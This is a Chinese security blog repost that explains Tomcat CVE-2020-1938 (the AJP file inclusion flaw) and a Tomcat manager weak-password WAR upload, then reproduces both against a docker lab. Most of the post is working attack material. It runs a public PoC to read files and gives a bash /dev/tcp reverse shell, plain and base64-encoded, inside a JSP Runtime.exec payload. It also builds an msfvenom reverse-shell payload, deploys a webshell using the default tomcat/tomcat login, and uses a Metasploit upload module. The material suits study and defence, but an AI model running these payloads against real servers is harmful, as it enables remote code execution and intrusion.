CVE-2020-1938原理与复现

admin 2021年12月14日12:47:35评论947 views字数 2576阅读8分35秒阅读模式

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

CVE-2020-1938原理与复现


tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性


CVE-2020-1938原理与复现


因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下

CVE-2020-1938原理与复现


漏洞复现

启动CVE-2020-1938的docker环境

CVE-2020-1938原理与复现


首先使用poc进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境

CVE-2020-1938原理与复现


这里查看8009端口下的web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml

CVE-2020-1938原理与复现


使用bash反弹shell

bash -i >& /dev/tcp/192.168.1.8/8888 0>&1

因为是java的原因所以需要转换一下,使用http://www.jackson-t.ca/runtime-exec-payloads.html,转换结果如下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

生成一个test.txt,这里只需要换payload就可以

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

bp抓包把test.txt上传到docker容器

CVE-2020-1938原理与复现


nc开启端口监听

CVE-2020-1938原理与复现


即可获得一个交互型shell

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt

CVE-2020-1938原理与复现


这里为了方便,上线到msf上进行操作,首先生成一个shell.txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt

CVE-2020-1938原理与复现


抓包将shell.txt上传到docker


CVE-2020-1938原理与复现


msf开启监听,注意payload使用java/jsp_shell_reverse_tcp


CVE-2020-1938原理与复现


再使用poc反弹即可上线

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt

CVE-2020-1938原理与复现


弱口令&war远程部署

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台

漏洞复现

进入tomcat8的docker环境

CVE-2020-1938原理与复现


访问后台管理地址,使用tomcat/tomcat进入后台

http://192.168.1.8:8080//manager/html

CVE-2020-1938原理与复现


进入到了后台的页面


CVE-2020-1938原理与复现


看到这里有一个上传war包的地方,这里很多java的中间件都可以用war远程部署来拿shell,tomcat也不例外


CVE-2020-1938原理与复现


首先将ice.jsp打包成test.war

jar -cvf test.war .

CVE-2020-1938原理与复现


点击上传即可看到上传的test.war已经部署成功


CVE-2020-1938原理与复现


访问一下没有报错404那么应该已经上传成功


CVE-2020-1938原理与复现


使用冰蝎连接即可得到shell


CVE-2020-1938原理与复现


这里也可以用msf里面的exploit/multi/http/tomcat_mgr_upload模块

use exploit/multi/http/tomcat_mgr_upload
set HttpPassword tomcat
set HttpUsername tomcat
set rhost 192.168.1.8
set rport 8080
run

CVE-2020-1938原理与复现


运行即可得到一个meterpreter


CVE-2020-1938原理与复现


来源:先知社区


CVE-2020-1938原理与复现

欢迎加群,一起学习!(达到200人,需要加群主才可拉群)

CVE-2020-1938原理与复现

如果群满了,欢迎加小浪,拉你入群

原文始发于微信公众号(衡阳信安):CVE-2020-1938原理与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月14日12:47:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-1938原理与复现https://cn-sec.com/archives/677112.html

发表评论

匿名网友 填写信息